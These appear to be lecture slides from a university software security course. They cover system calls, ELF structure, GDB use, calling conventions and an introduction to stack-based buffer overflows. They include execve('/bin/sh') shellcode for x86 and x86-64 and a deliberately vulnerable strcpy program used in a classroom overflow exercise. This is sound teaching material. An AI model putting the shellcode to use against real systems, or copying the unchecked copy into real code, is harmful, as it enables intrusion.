
CSE 410/518: Software Security

Instructor: Dr. Ziming Zhao



First Half of This Class

1. Background
a. System call
b. Environment
c. Tools
d. ELF



Background Knowledge:
System Calls



What is System Call?

When a process needs to invoke a kernel service, it invokes a procedure 
call in the operating system interface using special instructions (not a 
call instruction in x86). Such a procedure is called a system call. 

The system call enters the kernel; the kernel performs the service and 
returns. Thus a process alternates between executing in user space and 
kernel space. 

System calls are generally not invoked directly by a program, but rather 
via wrapper functions in glibc (or perhaps some other library).



Popular System Call

On Unix, Unix-like and other POSIX-compliant operating systems, 
popular system calls are open, read, write, close, wait, exec, fork, exit, 
and kill. 

Many modern operating systems have hundreds of system calls. For 
example, Linux and OpenBSD each have over 300 different calls, FreeBSD 
has over 500, Windows 7 has close to 700.

https://en.wikipedia.org/wiki/Unix
https://en.wikipedia.org/wiki/Unix-like
https://en.wikipedia.org/wiki/POSIX
https://en.wikipedia.org/wiki/Open_(system_call)
https://en.wikipedia.org/wiki/Read_(system_call)
https://en.wikipedia.org/wiki/Write_(system_call)
https://en.wikipedia.org/wiki/Close_(system_call)
https://en.wikipedia.org/wiki/Wait_(system_call)
https://en.wikipedia.org/wiki/Exec_(system_call)
https://en.wikipedia.org/wiki/Fork_(system_call)
https://en.wikipedia.org/wiki/Exit_(system_call)
https://en.wikipedia.org/wiki/Kill_(system_call)
https://en.wikipedia.org/wiki/Linux_kernel
https://en.wikipedia.org/wiki/OpenBSD
https://en.wikipedia.org/wiki/FreeBSD


Glibc interfaces

Often, but not always, the name of the wrapper function is the same as 
the name of the system call that it invokes. 

For example, glibc contains a function chdir() which invokes the 
underlying "chdir" system call.



Tools: strace & ltrace misc/firstflag
main.c

int main(int argc, char *argv[])
{
  printf("Congratulations on getting your first flag!!\n");
  print_flag();
}

flag.h
int print_flag()
{

FILE *fp = NULL;
char buff[MAX_FLAG_SIZE] = {0};

fp = fopen("/flag", "r");

if (fp == NULL)
{
    printf("Error: Cannot open the flag file!!!\n");
    return 1;
}

fread(buff, MAX_FLAG_SIZE - 2, 1, fp);
printf("The flag is: %s\n", buff);
fclose(fp);
return 0;

}



Making a System Call in x86/64 Assembly

On x86/x86-64, most system calls rely on the software interrupt.

A software interrupt is caused either by an exceptional condition in the 
processor itself, or a special instruction (the int 0x80 instruction or 
syscall instruction).

For example: a divide-by-zero exception will be thrown if the processor's 
arithmetic logic unit is commanded to divide a number by zero as this 
instruction is in error and impossible. 



https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Making a System Call in x86 Assembly (INT 0x80)



http://shell-storm.org/shellcode/files/shellcode-827.php

xor    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
push   eax
push   ebx
mov    ecx,esp
mov    al,0xb
int    0x80

Making a System Call in x86 Assembly

http://shell-storm.org/shellcode/files/shellcode-827.php


xor    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
push   eax
push   ebx
mov    ecx,esp
mov    al,0xb
int    0x80

stack

High address

Low address

esp
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Making a System Call in x86 Assembly

execve(“/bin/sh”, address of string “/bin/sh”, 0)



Making a System Call in x86_64 (64-bit) Assembly

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit



push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall

Making a System Call in x86_64 (64-bit) Assembly





Background Knowledge:
Environment and Shell Variables



Environment and Shell Variables

Environment and Shell variables are a set of dynamic named values, 
stored within the system that are used by applications launched in shells.

KEY=value 
KEY="Some other value" 
KEY=value1:value2

The names of the variables are case-sensitive (UPPER CASE).
Multiple values must be separated by the colon : character.
There is no space around the equals = symbol.



Environment variables are variables that are available system-wide and 
are inherited by all spawned child processes and shells. 

Shell variables are variables that apply only to the current shell instance. 
Each shell such as zsh and bash, has its own set of internal shell 
variables.

Environment and Shell Variables



Common Environment Variables

USER - The current logged in user.
HOME - The home directory of the current user.
EDITOR - The default file editor to be used. This is the editor that will be 
used when you type edit in your terminal.
SHELL - The path of the current user’s shell, such as bash or zsh.
LOGNAME - The name of the current user.
PATH - A list of directories to be searched when executing commands. 
LANG - The current locales settings.
TERM - The current terminal emulation.
MAIL - Location of where the current user’s mail is stored.



Commands

env – The command allows you to run another program in a custom 
environment without modifying the current one. When used without an 
argument it will print a list of the current environment variables.
printenv – The command prints all or the specified environment 
variables.
set – The command sets or unsets shell variables. When used without an 
argument it will print a list of all variables including environment and 
shell variables, and shell functions.
unset – The command deletes shell and environment variables.
export – The command sets environment variables



The environment variables 
live towards the top of the 
stack, together with 
command line arguments.



Executable and Linkable Format (ELF)



ELF Files

The Executable and Linkable Format (ELF) is a common standard file 
format for executable files, object code, shared libraries, and core 
dumps. Filename extension none, .axf, .bin, .elf, .o, .prx, .puff, .ko, .mod 
and .so

Contains the program and its data. Describes how the program should 
be loaded (program/segment headers). Contains metadata describing 
program components (section headers).



● Executable (a.out), object files 
(.o), shared libraries (.a), even 
core dumps.

● Four types of components: an 
executable header, a series of 
(optional) program headers, a 
number of sections, and a 
series of (optional) section 
headers, one per section.



Executable Header

0x7F ELF ..
Executable, obj, dynamic lib

x86-64, Arm

readelf -h a.out





Sections

The code and data in an ELF binary are logically divided into contiguous 
non-overlapping chunks called sections. The structure of each section 
varies depending on the contents.

The division into sections is intended to provide a convenient 
organization for use by the linker.



Section Header Format

Each section is described by its section header.  

readelf -S a.out



sh_flags

SHF_WRITE: the section is writable at 
runtime. 

SHF_ALLOC: the contents of the section are 
to be loaded into virtual memory when 
executing the binary. 

SHF_EXECINSTR: the section contains 
executable instructions.



readelf -S a.out



Sections

.init: executable code that performs initialization tasks and needs to run 
before any other code in the binary is executed. 

.fini: code that runs after the main program completes.

.text: where the main code of the program resides.



Sections

.rodata section, which stands for “read-only data,” is dedicated to
storing constant values. Because it stores constant values, .rodata is not
writable.

The default values of initialized variables are stored in the .data section, 
which is marked as writable since the values of variables may change at 
runtime.

the .bss section reserves space for uninitialized variables. The name 
historically stands for “block started by symbol,” referring to the 
reserving of blocks of memory for (symbolic) variables.



Lazy Binding (.plt, .got, .got.plt Sections)

Binding at Load Time: When a binary is loaded into a process for 
execution, the dynamic linker resolves references to functions located in 
shared libraries. The addresses of shared functions were not known at 
compile time.

In reality - Lazy Binding: many of the relocations are typically not done 
right away when the binary is loaded but are deferred until the first 
reference to the unresolved location is actually made.



Lazy Binding (.plt, .got, .got.plt Sections)

Lazy binding in Linux ELF binaries is implemented with the help of two
special sections, called the Procedure Linkage Table ( .plt ) and the Global 
Offset Table ( .got ).

.plt is a code section that contains executable code. The PLT consists 
entirely of stubs of a well-defined format, dedicated to directing calls 
from the .text section to the appropriate library location.

.got.plt is a data section.



Dynamically Resolving a Library Function Using the PLT



Example: Debug misc\lazyb 

GDB Cheatsheet:

https://darkdust.net/files/GDB%20
Cheat%20Sheet.pdf



Section View (Section Header) 
vs. 

Segment View (Program Header)

The program header table provides a segment view of the binary, as 
opposed to the section view provided by the section header table.

The section view of an ELF binary is meant for static linking purposes.

The segment view is used by the operating system and dynamic linker 
when loading an ELF into a process for execution to locate the relevant 
code and data and decide what to load into virtual memory.

Segments are simply a bunch of sections bundled together.



Program Header Format

Each section is described by its section header.  

readelf -l a.out





Background Knowledge:
Manual Binary Analysis Tools



Tools for this class

file
readelf
strings
nm
objdump
GDB
[optional] IDA Pro
[optional] ghidra
[optional] Binary Ninja



GDB Cheat Sheet

Start gdb using:
gdb <binary>
Pass initial commands for gdb through a file
gdb <binary> –x <initfile>

To start running the program
r <argv>
Use python2 output as stdin in GDB:
r <<< $(python2 -c "print '\x12\x34'*5")

Set breakpoint at address:
b *0x80000000
b main
Disassemble 10 instructions from an address:
x/10i 0x80000000



GDB Cheat Sheet

To put breakpoints (stop execution on a certain line)
b <function name>
b *<instruction address>
b <filename:line number>
b <line number>

To show breakpoints
info b

To remove breakpoints
clear <function name>
clear *<instruction address>
clear <filename:line number>
clear <line number>



GDB Cheat Sheet

Use “examine” or “x” command
x/32xw <memory location> to see memory contents at memory location, showing 32 hexadecimal words
x/5s <memory location> to show 5 strings (null terminated) at a particular memory location
x/10i <memory location> to show 10 instructions at particular memory location

See registers
info reg

Step an instruction
si



Shell Cheat Sheet

Run a program and use another program’s output as a parameter
program $(python2 -c "print '\x12\x34'*5")



10 Mins Break



This Class

1. Stack-based buffer overflow (Sequential buffer overflow)
a. Brief history of buffer overflow
b. Information C function needs to run
c. C calling conventions (x86, x86-64)
d. Overflow local variables
e. Overflow RET address to execute a function
f. Overflow RET and more to execute a function with parameters



Stack-based Buffer Overflow



Objectives

1. Understand how stack works in Linux x86/64
2. Identify a buffer overflow in a program
3. Exploit a buffer overflow vulnerability



An Extremely Brief History of Buffer Overflow

The Morris worm (November 9, 
1988), was one of the first 
computer worms distributed via 
the Internet, and the first to 
gain significant mainstream 
media attention. Morris worn 
used buffer overflow as one of 
its attack techniques.

1996-11-08





C/C++ Function in x86

What information do we need to call a function at runtime? Where are 
they stored?
● Code
● Parameters
● Return value
● Global variables
● Local variables
● Temporary variables
● Return address
● Function frame pointer
● Previous function Frame pointer



Variables that are declared inside a function or block are called local 
variables. They can be used only by statements that are inside that 
function or block of code. Local variables are not known to functions 
outside their own.

Global variables are defined outside a function. Global variables hold 
their values throughout the lifetime of your program and they can be 
accessed inside any of the functions defined for the program.

In the definition of function parameters which are called formal 
parameters. Formal parameters are similar to local variables.

Global and Local Variables in C/C++



Global and Local Variables (misc/globallocalv)

char g_i[] = "I am an initialized global variable\n";
char* g_u;

int func(int p)
{
  int l_i = 10;
  int l_u;

  printf("l_i in func() is at %p\n", &l_i);
  printf("l_u in func() is at %p\n", &l_u);  
  printf("p in func() is at %p\n", &p);  
  return 0;
}

int main(int argc, char *argv[])
{
  int l_i = 10;
  int l_u;

  printf("g_i is at %p\n", &g_i);
  printf("g_u is at %p\n", &g_u);  

  printf("l_i in main() is at %p\n", &l_i);
  printf("l_u in main() is at %p\n", &l_u);   

  func(10);
}

Tools: readelf; nm



Global and Local Variables (misc/globallocalv 32bit)



Global and Local Variables (misc/globallocalv 64bit)



C/C++ Function in x86/64

What information do we need to call a function at runtime? Where are 
they stored?
● Code [.text]
● Parameters [mainly stack (32bit); registers + stack (64bit)]
● Return value [eax, rax]
● Global variables [.bss, .data]
● Local variables [stack; registers]
● Temporary variables [stack; registers]
● Return address [stack]
● Function frame pointer [ebp, rbp]
● Previous function Frame pointer [stack] 



Stack

Stack is essentially scratch memory for functions
● Used in MIPS, ARM, x86, and x86-64 processors

Starts at high memory addresses, and grows down

Functions are free to push registers or values onto the stack, or pop values from 
the stack into registers

The assembly language supports this on x86
● esp/rsp holds the address of the top of the stack
● push eax/rax 1) decrements the stack pointer (esp/rbp) then 2) stores the 

value in eax/rax to the location pointed to by the stack pointer
● pop eax/rax 1) stores the value at the location pointed to by the stack 

pointer into eax/rax, then 2) increments the stack pointer (esp/rsp)



x86/64 Instructions that affect Stack

push, pop, call, ret, enter, leave



x86/64 Instructions that affect Stack

push eax/rax

Some value Z

Some value Y

Some value Xesp/rsp

Before:

Some value Z

Some value Y

Some value X

esp/rsp

After

eax/rax



x86/64 Instructions that affect Stack

pop eax/rax

Some value Z

Some value Y

Some value Xesp/rsp

Before:

Some value Z

Some value Yesp/rsp

After: eax/rax = X



x86/64 Instructions that affect Stack

call eax

Some value Z

Some value Y

Some value Xesp

Before:

Some value Z

Some value Y

%esp

After: eip = eax

push 1

call eax

pop ebx

eip

Addr of “pop ebx”

The call instruction does two things:

1. Push the address of next instruction to the 
stack

2. Move the dest address to %eip

Some value X



x86/64 Instructions that affect Stack

ret

Some value Z

Some value Y

Some value Xesp

Before:

Some value Z

Some value Yesp

After: eip = X

pop ebp

ret

nop

eip The ret instruction pops the top of the stack to eip, so 
the CPU continues to execute from there

Some value X



x86/64 Instructions that affect Stack

enter

Some value Z

Some value Y

Some value Xesp

Before:

ebp

After:

push ebp
mov ebp, esp 
sub esp, #imm 

esp

Some value Z

Some value Y

Some value X

Old ebp

#imm bytes



x86/64 Instructions that affect Stack

leave

Some value Z

Some value Y

Old ebpebp

Before:

Some value Z

Some value Y

After: ebp = old ebp

mov esp, ebp
pop ebp

%esp

#imm bytes

esp



Function Frame

Functions would like to use the stack to allocate space for their local 
variables. Can we use the stack pointer (esp/rsp) for this?
● Yes, however stack pointer can change throughout program 

execution

Frame pointer points to the start of the function's frame on the stack
● Each local variable will be (different) offsets of the frame pointer
● In x86/64, frame pointer is called the base pointer, and is stored in 

ebp/rbp



Function Frame

A function’s Stack Frame
• Starts with where ebp/rbp points to
• Ends with where esp/rsp points to



Calling Convention

Information, such as parameters, must be stored on the stack in order to 
call the function. Who should store that information? Caller? Callee?

Thus, we need to define a convention of who pushes/stores what values 
on the stack to call a function
● Varies based on processor, operating system, compiler, or type of 

call



x86 (32 bit) Linux Calling Convention (cdecl)

Caller (in this order)
● Pushes arguments onto the stack (in right to left order)
● Execute the call instruction (pushes address of instruction 

after call, then moves dest to eip)
Callee
● Pushes previous frame pointer onto stack (ebp)
● Setup new frame pointer (mov ebp, esp)
● Creates space on stack for local variables (sub esp, #imm)
● Ensures that stack is consistent on return
● Return value in eax register



Callee Allocate a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)
mov ebp, esp; (change the base pointer to the stack)
sub esp, 10; (allocating a local stack space)



Callee Deallocate a stack (Function epilogue)

mov esp, ebp
pop ebp
ret 



Global and Local Variables (misc/globallocalv)

int func(int p)
{
  int l_i = 10;
  int l_u;

  printf("l_i in func() is at %p\n", &l_i);
  printf("l_u in func() is at %p\n", &l_u);  
  printf("p in func() is at %p\n", &p);  
  return 0;
}

 59d:   55                      push   ebp                                              
 59e:   89 e5                   mov    ebp,esp 
 5a0:   83 ec 18                sub    esp,0x18
 5a3:   c7 45 f4 0a 00 00 00    mov    DWORD PTR [ebp-0xc],0xa   
 5aa:   83 ec 08                sub    esp,0x8                                          
 5ad:   8d 45 f4                lea    eax,[ebp-0xc]
 5b0:   50                      push   eax                                              
 5b1:   68 00 07 00 00          push   0x700                                            
 5b6:   e8 fc ff ff ff          call   5b7 <func+0x1a>
 5bb:   83 c4 10                add    esp,0x10
 5be:   83 ec 08                sub    esp,0x8      
 5c1:   8d 45 f0                lea    eax,[ebp-0x10]
 5c4:   50                      push   eax                                              
 5c5:   68 18 07 00 00          push   0x718                                            
 5ca:   e8 fc ff ff ff          call   5cb <func+0x2e>
 5cf:   83 c4 10                add    esp,0x10     
 5d2:   83 ec 08                sub    esp,0x8
 5d5:   8d 45 08                lea    eax,[ebp+0x8]
 5d8:   50                      push   eax  
 5d9:   68 30 07 00 00          push   0x730                                            
 5de:   e8 fc ff ff ff          call   5df <func+0x42>                                  
 5e3:   83 c4 10                add    esp,0x10                                         
 5e6:   b8 00 00 00 00          mov    eax,0x0                                          
 5eb:   c9                      leave       
 5ec:   c3                      ret    

657:   83 ec 0c                sub    esp,0xc
 65a:   6a 0a                   push   0xa
 65c:   e8 3c ff ff ff          call   59d <func>   
 661:   83 c4 10                add    esp,0x10

Function main()

Function func()



Draw the stack (x86 cdecl)



x86 Stack Usage (32bit)

● Negative indexing over ebp
mov eax, [ebp-0x8]   
lea eax, [ebp-24]   

● Positive indexing over ebp
mov eax, [ebp+8]    
mov eax, [ebp+0xc]

● Positive indexing over esp



x86 Stack Usage (32bit)

● Accesses local variables (negative indexing over ebp)
mov eax, [ebp-0x8]    value at ebp-0x8
lea eax, [ebp-24]    address as ebp-0x24

● Stores function arguments from caller (positive indexing over ebp)
mov eax, [ebp+8]     1st arg
mov eax, [ebp+0xc]    2nd arg

● Positive indexing over esp
Function arguments to callee



Stack example: misc/factorial

int fact(int n)
{
  printf("---In fact(%d)\n", n);
  printf("&n is %p\n", &n);

  if (n <= 1)
    return 1;

  return fact(n-1) * n;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
  {
    printf("Usage: fact integer\n");
    return 0;
  }

  printf("The factorial of %d is %d\n.", 
atoi(argv[1]), fact(atoi(argv[1])));
}



Stack example: misc/fiveParameters_32

int func(int a, int b, int c, int d, int e)
{
  return a + b + c + d + e;
}

int main(int argc, char *argv[])
{
  func(1, 2, 3, 4, 5);
}
 

X86 disassembly 



globallocalv_fast_32

fastcall

On x86-32 targets, the fastcall attribute causes the compiler to 
pass the first argument (if of integral type) in the register ECX 
and the second argument (if of integral type) in the register 
EDX. Subsequent and other typed arguments are passed on the 
stack. The called function pops the arguments off the stack. If 
the number of arguments is variable all arguments are pushed 
on the stack.

int __attribute__ ((fastcall)) func(int p)



x86-64 (64 bit) Linux Calling Convention

Caller
● Use registers to pass arguments to callee. Register order 

(1st, 2nd, 3rd, 4th, 5th, 6th, etc.) rdi, rsi, rdx, rcx, r8, r9, 
... (use stack for more arguments)



Registers on x86-64

https://en.wikipedia.org/wiki/X86

https://en.wikipedia.org/wiki/X86


Stack example: misc/fiveParameters_64

int func(int a, int b, int c, int d, int e)
{
  return a + b + c + d + e;
}

int main(int argc, char *argv[])
{
  func(1, 2, 3, 4, 5);
}
 

X86-64 disassembly 



X86-64 Stack Usage

● Access local variables (negative indexing over rbp)
mov rax, [rbp-8]
lea rax, [rbp-0x24]

● Access function arguments from caller
mov rax, rdi

● Setup parameters for callee
mov rdi, rax



Overwrite Local Variables 
Data-only Attack 



Buffer Overflow Example: overflowlocal

int vulfoo(int i, char* p)
{
  int j = i;
  char buf[6];

  strcpy(buf, p);

  if (j)
    print_flag();
  else
    printf("I pity the fool!\n");

  return 0;
}

int main(int argc, char *argv[])
{
  if (argc == 2)
    vulfoo(0, argv[1]);
}

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Implementations of strcpy()

char *strcpy(char *dest, const char *src)

{

  unsigned i;

  for (i=0; src[i] != '\0'; ++i)

    dest[i] = src[i];

  //Ensure trailing null byte is copied

  dest[i]= '\0';

  return dest;

}



Implementations of strcpy()

char *strcpy(char *dest, const char *src)
{
   char *save = dest;
   while(*dest++ = *src++);
   return save;
}

char *strcpy(char *dest, const char *src)

{

  unsigned i;

  for (i=0; src[i] != '\0'; ++i)

    dest[i] = src[i];

  //Ensure trailing null byte is copied

  dest[i]= '\0';

  return dest;

}



Buffer Overflow Example: overflowlocal

p

i = 0

RETesp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

esp Old ebp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp, esp Old ebp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

0x18 bytes

esp

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

0x18 bytes

esp

         eax=0; [ebp+8]

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

esp

[ebp-0xc] 0; Local v: j 0x18

eax=0; [ebp+8]
000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

esp

[ebp-0xc] 0; Local v: j
0x20

                     [ebp+8]

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

[ebp+0xc]

0; Local v: j
0x20

pesp

[ebp-0xc]

            [ebp+8]

000012c4 <vulfoo>:
    12c4:       55                      push   ebp
    12c5:       89 e5                   mov    ebp,esp
    12c7:       83 ec 18                sub    esp,0x18
    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
    12d0:       83 ec 08                sub    esp,0x8
    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]
    12d6:       8d 45 ee                lea    eax,[ebp-0x12]
    12d9:       50                      push   eax
    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>
    12df:       83 c4 10                add    esp,0x10
    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
    12e6:       74 07                   je     12ef <vulfoo+0x2b>
    12e8:       e8 10 ff ff ff          call   11fd <print_flag>
    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>
    12ef:       83 ec 0c                sub    esp,0xc
    12f2:       68 45 20 00 00          push   0x2045
    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>
    12fc:       83 c4 10                add    esp,0x10
    12ff:       b8 00 00 00 00          mov    eax,0x0
    1304:       c9                      leave  
    1305:       c3                      ret    



Buffer Overflow Example: overflowlocal

p

i = 0

RET

ebp Old ebp

[ebp+8]

[ebp+0xc]

0; Local v: j
0x20

pesp

[ebp-0xc]

eax; [ebp-0x12]
